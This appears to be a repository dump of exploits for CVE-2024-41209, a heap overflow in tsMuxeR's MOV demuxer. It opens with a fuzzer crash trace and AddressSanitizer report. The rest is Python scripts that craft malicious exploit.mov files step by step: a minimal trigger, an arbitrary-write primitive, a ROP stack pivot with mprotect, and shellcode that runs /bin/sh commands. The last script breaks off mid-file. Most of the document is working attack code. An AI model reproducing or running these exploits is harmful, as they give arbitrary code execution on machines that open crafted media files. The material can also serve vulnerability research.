0x00005555559f67f7 in MovDemuxer::readHeaders (r-xp /out/tsmuxer-mov) 111 | 689: void MovDemuxer::readHeaders(this = (class MovDemuxer *)0x61900000dc80) { 112 | |||: 113 | |||: /* Local reference: struct MovDemuxer::MOVAtom atom = {type = 0, offset = 0, size = 9223372036854775807}; */ 114 | 693: atom.size = LLONG_MAX; 115 | 694: m_mdat_pos = 0; 116 | 695: if (mov_read_default(atom) < 0) 117 | |||: 118 | ---: } 119 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:695 120 | 121 | #18 0x00005555559f0458 in MovDemuxer::openFile (r-xp /out/tsmuxer-mov) 122 | 626: void MovDemuxer::openFile(this = (class MovDemuxer *)0x61900000dc80, streamName = (const std::string &)"/eval/eval-lg/out-mov/crashes/id:000108,sig:06,src:000414,op:more_havoc,rep:64") { 123 | |||: 124 | 654: m_processedBytes = 0; 125 | 655: m_isEOF = false; 126 | 656: readHeaders(); 127 | |||: 128 | ---: } 129 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:656 130 | 131 | #19 0x000055555592b66a in main (r-xp /out/tsmuxer-mov) 132 | 28: int main(argc = (int), argv = (char **)) { 133 | ||: 134 | ||: /* Local reference: class AbstractDemuxer * demuxer = 0x61900000dc80; */ 135 | ||: /* Local reference: std::string fileName = "/eval/eval-lg/out-mov/crashes/id:000108,sig:06,src:000414,op:more_havoc,rep:64"; */ 136 | 32: 137 | 33: uint32_t fileBlockSize = demuxer->getFileBlockSize(); 138 | 34: demuxer->openFile(fileName); 139 | ||: 140 | --: } 141 | at /src/tsMuxer/tsMuxer/main.cpp:34 142 | 143 | ASAN Report: 144 | ================================================================= 145 | ==1850721==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x615000001180 at pc 0x555555a070e0 bp 0x7fffffffd6f0 sp 0x7fffffffd6e8 146 | WRITE of size 4 at 0x615000001180 thread T0 147 | /usr/bin/addr2line: DWARF error: invalid or unhandled FORM value: 0x23 148 | #0 0x555555a070df in MovDemuxer::mov_read_trun(MovDemuxer::MOVAtom) ??:? 149 | #1 0x5555559fcee6 in MovDemuxer::ParseTableEntry(MovDemuxer::MOVAtom) ??:? 150 | #2 0x5555559fb758 in MovDemuxer::mov_read_default(MovDemuxer::MOVAtom) ??:? 151 | #3 0x5555559fc84b in MovDemuxer::ParseTableEntry(MovDemuxer::MOVAtom) ??:? 152 | #4 0x5555559fb758 in MovDemuxer::mov_read_default(MovDemuxer::MOVAtom) ??:? 153 | #5 0x5555559fc84b in MovDemuxer::ParseTableEntry(MovDemuxer::MOVAtom) ??:? 154 | #6 0x5555559fb758 in MovDemuxer::mov_read_default(MovDemuxer::MOVAtom) ??:? 155 | #7 0x5555559f67f6 in MovDemuxer::readHeaders() ??:? 156 | #8 0x5555559f0457 in MovDemuxer::openFile(std::__cxx11::basic_string, std::allocator > const&) ??:? 157 | #9 0x55555592b669 in main ??:? 158 | #10 0x7ffff794cd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58 159 | #11 0x7ffff794ce3f in __libc_start_main_impl csu/../csu/libc-start.c:392 160 | #12 0x55555566c6d4 in _start ??:? 161 | 162 | 0x615000001180 is located 0 bytes to the right of 512-byte region [0x615000000f80,0x615000001180) 163 | allocated by thread T0 here: 164 | #0 0x55555572c35d in operator new(unsigned long) ??:? 165 | #1 0x555555a082d5 in void std::vector >::_M_realloc_insert<>(__gnu_cxx::__normal_iterator > >) ld-temp.o:? 166 | 167 | SUMMARY: AddressSanitizer: heap-buffer-overflow ??:? in MovDemuxer::mov_read_trun(MovDemuxer::MOVAtom) 168 | Shadow bytes around the buggy address: 169 | 0x0c2a7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 170 | 0x0c2a7fff81f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 171 | 0x0c2a7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 172 | 0x0c2a7fff8210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 173 | 0x0c2a7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 174 | =>0x0c2a7fff8230:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 175 | 0x0c2a7fff8240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 176 | 0x0c2a7fff8250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 177 | 0x0c2a7fff8260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 178 | 0x0c2a7fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 179 | 0x0c2a7fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 180 | Shadow byte legend (one shadow byte represents 8 application bytes): 181 | Addressable: 00 182 | Partially addressable: 01 02 03 04 05 06 07 183 | Heap left redzone: fa 184 | Freed heap region: fd 185 | Stack left redzone: f1 186 | Stack mid redzone: f2 187 | Stack right redzone: f3 188 | Stack after return: f5 189 | Stack use after scope: f8 190 | Global redzone: f9 191 | Global init order: f6 192 | Poisoned by user: f7 193 | Container overflow: fc 194 | Array cookie: ac 195 | Intra object redzone: bb 196 | ASan internal: fe 197 | Left alloca redzone: ca 198 | Right alloca redzone: cb 199 | ==1850721==ABORTING 200 | 201 | Crash context: 202 | Execution stopped here ==> 0x00007ffff79b99fc: mov r13d,eax 203 | 204 | Register info: 205 | rax - 0x0000000000000000 (0) 206 | rbx - 0x00007ffff78eec00 (140737346726912) 207 | rcx - 0x00007ffff79b99fc (140737347557884) 208 | rdx - 0x0000000000000006 (6) 209 | rsi - 0x00000000001c3d61 (1850721) 210 | rdi - 0x00000000001c3d61 (1850721) 211 | rbp - 0x00000000001c3d61 (0x1c3d61) 212 | rsp - 0x00007fffffffc740 (0x7fffffffc740) 213 | r8 - 0x00007fffffffc810 (140737488341008) 214 | r9 - 0xbfffff00000fffff (-4611687117937967105) 215 | r10 - 0x0000000000000008 (8) 216 | r11 - 0x0000000000000246 (582) 217 | r12 - 0x0000000000000006 (6) 218 | r13 - 0x0000000000000016 (22) 219 | r14 - 0x1000000000000000 (1152921504606846976) 220 | r15 - 0x2000000000000000 (2305843009213693952) 221 | rip - 0x00007ffff79b99fc (0x7ffff79b99fc <__GI___pthread_kill+300>) 222 | eflags - 0x00000246 ([ PF ZF IF ]) 223 | cs - 0x00000033 (51) 224 | ss - 0x0000002b (43) 225 | ds - 0x00000000 (0) 226 | es - 0x00000000 (0) 227 | fs - 0x00000000 (0) 228 | gs - 0x00000000 (0) 229 | k0 - 0x00000000f4776004 (4101464068) 230 | k1 - 0x000000000000ffff (65535) 231 | k2 - 0x000000000000001f (31) 232 | k3 - 0x0000000000000000 (0) 233 | k4 - 0x0000000000000000 (0) 234 | k5 - 0x0000000000000000 (0) 235 | k6 - 0x0000000000000000 (0) 236 | k7 - 0x0000000000000000 (0) 237 | -------------------------------------------------------------------------------- /CVE-2024-41209/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-41209 -------------------------------------------------------------------------------- /CVE-2024-41209/exploit_aaw.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from ptrlib import * 3 | 4 | # ファイルヘッダ 5 | ftyp = b'' 6 | ftyp += b'iso5' # major_brand 7 | ftyp += p32(1, 'big') # minor_version 8 | 9 | # tfhdのためにnum_tracksをインクリメントする 10 | trak = b'' 11 | 12 | # tfhdのためにtrexを追加する 13 | trex1 = b'' 14 | trex1 += b'\x00' # version 15 | trex1 += b'\x00\x00\x00' # flags 16 | trex1 += p32(1, 'big') # track_id 17 | trex1 += p32(1, 'big') # stsd_id 18 | trex1 += p32(0, 'big') # duration 19 | trex1 += p32(0, 'big') # size 20 | trex1 += p32(0, 'big') # flags 21 | 22 | # trunのためにfrag->track_idを設定する 23 | tfhd1 = b'' 24 | tfhd1 += b'\x00' # version 25 | tfhd1 += b'\x00\x00\x00' # flags 26 | tfhd1 += p32(1, 'big') # track_id 27 | 28 | trun1_entries = [0] * (0x1f0 // 0x10) 29 | trun1 = b'' 30 | trun1 += b'\x00' # version 31 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data) 32 | trun1 += p32(len(trun1_entries), 'big') # entries 33 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big')) 34 | 35 | ctts1 = b'' 36 | ctts1 += b'\x00' # version 37 | ctts1 += b'\x00\x00\x00' # flags 38 | ctts1 += p32(0, 'big') # entries (resize) 39 | 40 | # 本質パート 41 | trun2_entries = [0xdeadbeef, 0x191] + [u64(b"trun2")] * 22 42 | trun2_entries += [0x91c800] # 書き込み先 43 | trun2 = b'' 44 | trun2 += b'\x00' # version 45 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data) 46 | trun2 += p32(len(trun2_entries), 'big') # entries 47 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big')) 48 | 49 | # vectorを作るためのctts 50 | ctts2 = b'' 51 | ctts2 += b'\x00' # version 52 | ctts2 += b'\x00\x00\x00' # flags 53 | ctts2 += p32(1, 'big') # entries (resize) 54 | ctts2 += p32(0, 'big') + p32(0, 'big') # count / duration 55 | 56 | # 壊れたvectorに書き込むためのAAW 57 | ctts3_entries = [ 58 | [0xdeadbeef, 0xcafebabe], 59 | [0xdeadbeef, 0xcafebabe] 60 | ] 61 | ctts3 = b'' 62 | ctts3 += b'\x00' # version 63 | ctts3 += b'\x00\x00\x00' # flags 64 | ctts3 += p32(len(ctts3_entries), 'big') # entries (resize) 65 | ctts3 += flat(ctts3_entries, map=lambda p: p32(p[0], 'big') + p32(p[1], 'big')) 66 | 67 | moov = b'' 68 | moov += p32(8 + len(trak), 'big') + b'trak' + trak 69 | moov += p32(8 + len(trex1), 'big') + b'trex' + trex1 70 | moov += p32(8 + len(tfhd1), 'big') + b'tfhd' + tfhd1 71 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1 72 | moov += p32(8 + len(ctts1), 'big') + b'ctts' + ctts1 73 | moov += p32(8 + len(trak), 'big') + b'trak' + trak # MovStreamContextを確保 74 | moov += p32(8 + len(ctts2), 'big') + b'ctts' + ctts2 # vectorをセット 75 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 # heap overflow 76 | moov += p32(8 + len(ctts3), 'big') + b'ctts' + ctts3 # AAW 77 | 78 | payload = b"" 79 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp 80 | payload += p32(8 + len(moov), 'big') + b"moov" + moov 81 | 82 | with open("exploit.mov", "wb") as f: 83 | f.write(payload) 84 | 85 | #sock = Process(["./tsMuxeR", "exploit.mov"]) 86 | #sock.sh() 87 | -------------------------------------------------------------------------------- /CVE-2024-41209/exploit_final_poc.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | 3 | 4 | addr_arg0 = 0x900ed0 - 0x100 5 | addr_arg1 = 0x900ed0 - 0x100 + 0x10 6 | addr_arg2 = 0x900ed0 - 0x100 + 0x20 7 | addr_args = 0x900ed0 - 0x100 - 0x20 8 | 9 | def craft_write(addr, val): 10 | return [ 11 | 0xb990c031, # xor eax, eax 12 | # or al, XX; shl eax, 8 13 | # 0xb990000c | (((addr >> 24) & 0xff) << 8), 0xb908e0c1, 14 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1, 15 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1, 16 | 0xb990000c | (((addr >> 0) & 0xff) << 8), 17 | # mov bl, XX 18 | 0xb99000b3 | (val << 8), 19 | # mov [rax], bl 20 | 0xb9901888 21 | ] 22 | 23 | def craft_string(addr, s): 24 | out = [] 25 | for i, c in enumerate(s): 26 | out += craft_write(addr + i, c) 27 | return out 28 | 29 | shellcode = [] 30 | shellcode += craft_string(addr_arg0, b'/bin/sh\0') 31 | shellcode += craft_string(addr_arg1, b'-c\0') 32 | shellcode += craft_string(addr_arg2, b'ls -lha; id; date\0') 33 | for i in range(3): 34 | shellcode += craft_write(addr_args+i, (addr_arg0 >> (i*8)) & 0xff) 35 | for i in range(3): 36 | shellcode += craft_write(addr_args+8+i, (addr_arg1 >> (i*8)) & 0xff) 37 | for i in range(3): 38 | shellcode += craft_write(addr_args+0x10+i, (addr_arg2 >> (i*8)) & 0xff) 39 | addr = addr_args+0x18 40 | shellcode += [ 41 | 0xb990c031, # xor eax, eax 42 | # or al, XX; shl eax, 8 43 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1, 44 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1, 45 | 0xb990000c | (((addr >> 0) & 0xff) << 8), 46 | # xor ebx, ebx 47 | 0xb990db31, 48 | # mov [rax], rbx 49 | 0xb9188948 50 | ] 51 | 52 | # Set rsi 53 | addr = addr_args 54 | shellcode += [ 55 | 0xb990c031, # xor eax, eax 56 | # or al, XX; shl eax, 8 57 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1, 58 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1, 59 | 0xb990000c | (((addr >> 0) & 0xff) << 8), 60 | # mov esi, eax 61 | 0xb990c689, 62 | ] 63 | 64 | # Set rdi 65 | addr = addr_arg0 66 | shellcode += [ 67 | 0xb990c031, # xor eax, eax 68 | # or al, XX; shl eax, 8 69 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1, 70 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1, 71 | 0xb990000c | (((addr >> 0) & 0xff) << 8), 72 | # mov edi, eax 73 | 0xb990c789, 74 | ] 75 | 76 | shellcode += [ 77 | 'xor edx, edx', 78 | 'xor eax, eax', 79 | 'mov al, 59', 80 | 'syscall', 81 | ] 82 | 83 | elf = ELF("./tsMuxeR") 84 | 85 | # ファイルヘッダ 86 | ftyp = b'' 87 | ftyp += b'iso5' # major_brand 88 | ftyp += p32(1, 'big') # minor_version 89 | 90 | # tfhdのためにnum_tracksをインクリメントする 91 | trak = b'' 92 | 93 | # tfhdのためにtrexを追加する 94 | trex1 = b'' 95 | trex1 += b'\x00' # version 96 | trex1 += b'\x00\x00\x00' # flags 97 | trex1 += p32(1, 'big') # track_id 98 | trex1 += p32(1, 'big') # stsd_id 99 | trex1 += p32(0, 'big') # duration 100 | trex1 += p32(0, 'big') # size 101 | trex1 += p32(0, 'big') # flags 102 | 103 | # trunのためにfrag->track_idを設定する 104 | tfhd1 = b'' 105 | tfhd1 += b'\x00' # version 106 | tfhd1 += b'\x00\x00\x00' # flags 107 | tfhd1 += p32(1, 'big') # track_id 108 | 109 | trun1_entries = [0] * (0x1f0 // 0x10) 110 | trun1 = b'' 111 | trun1 += b'\x00' # version 112 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data) 113 | trun1 += p32(len(trun1_entries), 'big') # entries 114 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big')) 115 | 116 | ctts1 = b'' 117 | ctts1 += b'\x00' # version 118 | ctts1 += b'\x00\x00\x00' # flags 119 | ctts1 += p32(0, 'big') # entries (resize) 120 | 121 | # 本質パート 122 | addr_write = 0x901e60 - len(shellcode) * 8 123 | trun2_entries = [0xdeadbeef, 0x191] + [0] * 22 + [addr_write] 124 | trun2 = b'' 125 | trun2 += b'\x00' # version 126 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data) 127 | trun2 += p32(len(trun2_entries), 'big') # entries 128 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big')) 129 | 130 | # vectorを作るためのctts 131 | ctts2 = b'' 132 | ctts2 += b'\x00' # version 133 | ctts2 += b'\x00\x00\x00' # flags 134 | ctts2 += p32(1, 'big') # entries (resize) 135 | ctts2 += p32(0, 'big') + p32(0, 'big') # count / duration 136 | 137 | # 壊れたvectorに書き込むためのAAW 138 | # 0x007b0851: mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret; 139 | rop_pivot = next(elf.gadget( 140 | "mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret" 141 | )) 142 | 143 | 144 | def convert(b): 145 | assert len(b) < 4 146 | return u32(b + b'\x90'*(3 - len(b)) + b'\xb9') 147 | 148 | ctts3_entries = [] 149 | for i in range(0, len(shellcode), 2): 150 | ctts3_entries.append([ 151 | shellcode[i] if isinstance(shellcode[i], int) else convert(assemble(shellcode[i])), 152 | shellcode[i+1] if isinstance(shellcode[i+1], int) else convert(assemble(shellcode[i+1])) 153 | ]) 154 | 155 | ctts3_entries += [ 156 | [0xdead0000, 0xcafe0000], # rbx / rbp 157 | [0xdead0012, next(elf.gadget('pop rdi; ret'))], # r12 158 | [addr_write & ~0xfff, next(elf.gadget('pop rsi; ret'))], 159 | [0x4000, next(elf.gadget('pop rdx; ret'))], 160 | [0b111, next(elf.gadget('pop rax; ret'))], 161 | [syscall.x64.mprotect, next(elf.gadget('syscall; pop rbp; ret'))], 162 | [rop_pivot, addr_write], 163 | ] 164 | 165 | ctts3 = b'' 166 | ctts3 += b'\x00' # version 167 | ctts3 += b'\x00\x00\x00' # flags 168 | ctts3 += p32(len(ctts3_entries), 'big') # entries (resize) 169 | ctts3 += flat(ctts3_entries, map=lambda p: p32(p[0], 'big') + p32(p[1], 'big')) 170 | 171 | moov = b'' 172 | moov += p32(8 + len(trak), 'big') + b'trak' + trak 173 | moov += p32(8 + len(trex1), 'big') + b'trex' + trex1 174 | moov += p32(8 + len(tfhd1), 'big') + b'tfhd' + tfhd1 175 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1 176 | moov += p32(8 + len(ctts1), 'big') + b'ctts' + ctts1 177 | moov += p32(8 + len(trak), 'big') + b'trak' + trak # MovStreamContextを確保 178 | moov += p32(8 + len(ctts2), 'big') + b'ctts' + ctts2 # vectorをセット 179 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 # heap overflow 180 | moov += p32(8 + len(ctts3), 'big') + b'ctts' + ctts3 # AAW 181 | 182 | payload = b"" 183 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp 184 | payload += p32(8 + len(moov), 'big') + b"moov" + moov 185 | payload += p32(8, 'big') + b'cmov' # throw 186 | 187 | with open("exploit.mov", "wb") as f: 188 | f.write(payload) 189 | 190 | #sock = Process(["./tsMuxeR", "exploit.mov"]) 191 | #sock.sh() 192 | -------------------------------------------------------------------------------- /CVE-2024-41209/exploit_min_poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from ptrlib import * 3 | 4 | # ファイルヘッダ 5 | ftyp = b'' 6 | ftyp += b'iso5' # major_brand 7 | ftyp += p32(1, 'big') # minor_version 8 | 9 | # tfhdのためにnum_tracksをインクリメントする 10 | trak = b'' 11 | 12 | # tfhdのためにtrexを追加する 13 | trex = b'' 14 | trex += b'\x00' # version 15 | trex += b'\x00\x00\x00' # flags 16 | trex += p32(1, 'big') # track_id 17 | trex += p32(1, 'big') # stsd_id 18 | trex += p32(0, 'big') # duration 19 | trex += p32(0, 'big') # size 20 | trex += p32(0, 'big') # flags 21 | 22 | # trunのためにfrag->track_idを設定する 23 | tfhd = b'' 24 | tfhd += b'\x00' # version 25 | tfhd += b'\x00\x00\x00' # flags 26 | tfhd += p32(1, 'big') # track_id 27 | 28 | trun1_entries = [ 29 | 0xdeadbeef, 0xcafebabe, 0xfee1dead 30 | ] 31 | trun1 = b'' 32 | trun1 += b'\x00' # version 33 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data) 34 | trun1 += p32(len(trun1_entries), 'big') # entries 35 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big')) 36 | 37 | ctts = b'' 38 | ctts += b'\x00' # version 39 | ctts += b'\x00\x00\x00' # flags 40 | ctts += p32(0, 'big') # entries (resize) 41 | 42 | # 本質パート 43 | trun2_entries = [ 44 | 0x1234beef, 0x2345babe, 0x3456dead 45 | ] 46 | trun2 = b'' 47 | trun2 += b'\x00' # version 48 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data) 49 | trun2 += p32(len(trun2_entries), 'big') # entries 50 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big')) 51 | 52 | moov = b'' 53 | moov += p32(8 + len(trak), 'big') + b'trak' + trak 54 | moov += p32(8 + len(trex), 'big') + b'trex' + trex 55 | moov += p32(8 + len(tfhd), 'big') + b'tfhd' + tfhd 56 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1 57 | moov += p32(8 + len(ctts), 'big') + b'ctts' + ctts 58 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 59 | 60 | payload = b"" 61 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp 62 | payload += p32(8 + len(moov), 'big') + b"moov" + moov 63 | 64 | with open("exploit.mov", "wb") as f: 65 | f.write(payload) 66 | 67 | #sock = Process(["./tsMuxeR", "exploit.mov"]) 68 | #sock.sh() 69 | -------------------------------------------------------------------------------- /CVE-2024-41209/exploit_rip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from ptrlib import * 3 | 4 | 5 | elf = ELF('./tsMuxeR') 6 | # ファイルヘッダ 7 | ftyp = b'' 8 | ftyp += b'iso5' # major_brand 9 | ftyp += p32(1, 'big') # minor_version 10 | 11 | # tfhdのためにnum_tracksをインクリメントする 12 | trak = b'' 13 | 14 | # tfhdのためにtrexを追加する 15 | trex1 = b'' 16 | trex1 += b'\x00' # version 17 | trex1 += b'\x00\x00\x00' # flags 18 | trex1 += p32(1, 'big') # track_id 19 | trex1 += p32(1, 'big') # stsd_id 20 | trex1 += p32(0, 'big') # duration 21 | trex1 += p32(0, 'big') # size 22 | trex1 += p32(0, 'big') # flags 23 | 24 | # trunのためにfrag->track_idを設定する 25 | tfhd1 = b'' 26 | tfhd1 += b'\x00' # version 27 | tfhd1 += b'\x00\x00\x00' # flags 28 | tfhd1 += p32(1, 'big') # track_id 29 | 30 | trun1_entries = [0] * (0x1f0 // 0x10) 31 | trun1 = b'' 32 | trun1 += b'\x00' # version 33 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data) 34 | trun1 += p32(len(trun1_entries), 'big') # entries 35 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big')) 36 | 37 | ctts1 = b'' 38 | ctts1 += b'\x00' # version 39 | ctts1 += b'\x00\x00\x00' # flags 40 | ctts1 += p32(0, 'big') # entries (resize) 41 | 42 | # 本質パート 43 | trun2_entries = [0xdeadbeef, 0x191] + [u64(b"trun2")] * 22 44 | trun2_entries += [elf.symbol("_IO_file_jumps")] # 書き込み先 45 | trun2 = b'' 46 | trun2 += b'\x00' # version 47 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data) 48 | trun2 += p32(len(trun2_entries), 'big') # entries 49 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big')) 50 | 51 | # vectorを作るためのctts 52 | ctts2 = b'' 53 | ctts2 += b'\x00' # version 54 | ctts2 += b'\x00\x00\x00' # flags 55 | ctts2 += p32(1, 'big') # entries (resize) 56 | ctts2 += p32(0, 'big') + p32(0, 'big') # count / duration 57 | 58 | # 壊れたvectorに書き込むためのAAW 59 | ctts3_entries = [ 60 | [0xdead0000, 0xdead0001], 61 | [0xdead0002, 0xdead0003], 62 | [0xdead0004, 0xdead0005], 63 | [0xdead0006, 0xdead0007], 64 | [0xdead0008, 0xdead0009], 65 | [0xdead000a, 0xdead000b], 66 | [0xdead000c, 0xdead000d], 67 | ] 68 | 69 | ctts3 = b'' 70 | ctts3 += b'\x00' # version 71 | ctts3 += b'\x00\x00\x00' # flags 72 | ctts3 += p32(len(ctts3_entries), 'big') # entries (resize) 73 | ctts3 += flat(ctts3_entries, map=lambda p: p32(p[0], 'big') + p32(p[1], 'big')) 74 | 75 | moov = b'' 76 | moov += p32(8 + len(trak), 'big') + b'trak' + trak 77 | moov += p32(8 + len(trex1), 'big') + b'trex' + trex1 78 | moov += p32(8 + len(tfhd1), 'big') + b'tfhd' + tfhd1 79 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1 80 | moov += p32(8 + len(ctts1), 'big') + b'ctts' + ctts1 81 | moov += p32(8 + len(trak), 'big') + b'trak' + trak # MovStreamContextを確保 82 | moov += p32(8 + len(ctts2), 'big') + b'ctts' + ctts2 # vectorをセット 83 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 # heap overflow 84 | moov += p32(8 + len(ctts3), 'big') + b'ctts' + ctts3 # AAW 85 | 86 | payload = b"" 87 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp 88 | payload += p32(8 + len(moov), 'big') + b"moov" + moov 89 | payload += p32(8, 'big') + b'cmov' # throw 90 | 91 | with open("exploit.mov", "wb") as f: 92 | f.write(payload) 93 | 94 | #sock = Process(["./tsMuxeR", "exploit.mov"]) 95 | #sock.sh() 96 | -------------------------------------------------------------------------------- /CVE-2024-41209/exploit_shellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from ptrlib import * 3 | 4 | addr_arg0 = 0x900ed0 - 0x100 5 | addr_arg1 = 0x900ed0 - 0x100 + 0x10 6 | addr_arg2 = 0x900ed0 - 0x100 + 0x20 7 | addr_args = 0x900ed0 - 0x100 - 0x20 8 | 9 | def craft_write(addr, val): 10 | return [ 11 | 0xb990c031, # xor eax, eax 12 | # or al, XX; shl eax, 8 13 | # 0xb990000c | (((addr >> 24) & 0xff) << 8), 0xb908e0c1, 14 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1, 15 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1, 16 | 0xb990000c | (((addr >> 0) & 0xff) << 8), 17 | # mov bl, XX 18 | 0xb99000b3 | (val << 8), 19 | # mov [rax], bl 20 | 0xb9901888 21 | ] 22 | 23 | def craft_string(addr, s): 24 | out = [] 25 | for i, c in enumerate(s): 26 | out += craft_write(addr + i, c) 27 | return out 28 | 29 | shellcode = [] 30 | shellcode += craft_string(addr_arg0, b'/bin/sh\0') 31 | shellcode += craft_string(addr_arg1, b'-c\0') 32 | shellcode += craft_string(addr_arg2, b'ls -lha; id; date\0') 33 | for i in range(3): 34 | shellcode += craft_write(addr_args+i, (addr_arg0 >> (i*8)) & 0xff) 35 | for i in range(3): 36 | shellcode += craft_write(addr_args+8+i, (addr_arg1 >> (i*8)) & 0xff) 37 | for i in range(3): 38 | shellcode += craft_write(addr_args+0x10+i, (addr_arg2 >> (i*8)) & 0xff) 39 | addr = addr_args+0x18 40 | shellcode += [ 41 | 0xb990c031, # xor eax, eax 42 | # or al, XX; shl eax, 8 43 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1, 44 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1, 45 | 0xb990000c | (((addr >> 0) & 0xff) << 8), 46 | # xor ebx, ebx 47 | 0xb990db31, 48 | # mov [rax], rbx 49 | 0xb9188948 50 | ] 51 | 52 | # Set rsi 53 | addr = addr_args 54 | shellcode += [ 55 | 0xb990c031, # xor eax, eax 56 | # or al, XX; shl eax, 8 57 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1, 58 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1, 59 | 0xb990000c | (((addr >> 0) & 0xff) << 8), 60 | # mov esi, eax 61 | 0xb990c689, 62 | ] 63 | 64 | # Set rdi 65 | addr = addr_arg0 66 | shellcode += [ 67 | 0xb990c031, # xor eax, eax 68 | # or al, XX; shl eax, 8 69 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1, 70 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1, 71 | 0xb990000c | (((addr >> 0) & 0xff) << 8), 72 | # mov edi, eax 73 | 0xb990c789, 74 | ] 75 | 76 | shellcode += [ 77 | 'xor edx, edx', 78 | 'xor eax, eax', 79 | 'mov al, 59', 80 | 'syscall', 81 | ] 82 | 83 | def convert(b): 84 | assert len(b) < 4 85 | return u32(b + b'\x90'*(3 - len(b)) + b'\xb9') 86 | 87 | ctts3_entries = [] 88 | for i in range(0, len(shellcode), 2): 89 | ctts3_entries.append([ 90 | shellcode[i] if isinstance(shellcode[i], int) else convert(assemble(shellcode[i])), 91 | shellcode[i+1] if isinstance(shellcode[i+1], int) else convert(assemble(shellcode[i+1])) 92 | ]) 93 | -------------------------------------------------------------------------------- /CVE-2024-41209/exploit_stack_pivot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from ptrlib import * 3 | 4 | 5 | elf = ELF('./tsMuxeR') 6 | # ファイルヘッダ 7 | ftyp = b'' 8 | ftyp += b'iso5' # major_brand 9 | ftyp += p32(1, 'big') # minor_version 10 | 11 | # tfhdのためにnum_tracksをインクリメントする 12 | trak = b'' 13 | 14 | # tfhdのためにtrexを追加する 15 | trex1 = b'' 16 | trex1 += b'\x00' # version 17 | trex1 += b'\x00\x00\x00' # flags 18 | trex1 += p32(1, 'big') # track_id 19 | trex1 += p32(1, 'big') # stsd_id 20 | trex1 += p32(0, 'big') # duration 21 | trex1 += p32(0, 'big') # size 22 | trex1 += p32(0, 'big') # flags 23 | 24 | # trunのためにfrag->track_idを設定する 25 | tfhd1 = b'' 26 | tfhd1 += b'\x00' # version 27 | tfhd1 += b'\x00\x00\x00' # flags 28 | tfhd1 += p32(1, 'big') # track_id 29 | 30 | trun1_entries = [0] * (0x1f0 // 0x10) 31 | trun1 = b'' 32 | trun1 += b'\x00' # version 33 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data) 34 | trun1 += p32(len(trun1_entries), 'big') # entries 35 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big')) 36 | 37 | ctts1 = b'' 38 | ctts1 += b'\x00' # version 39 | ctts1 += 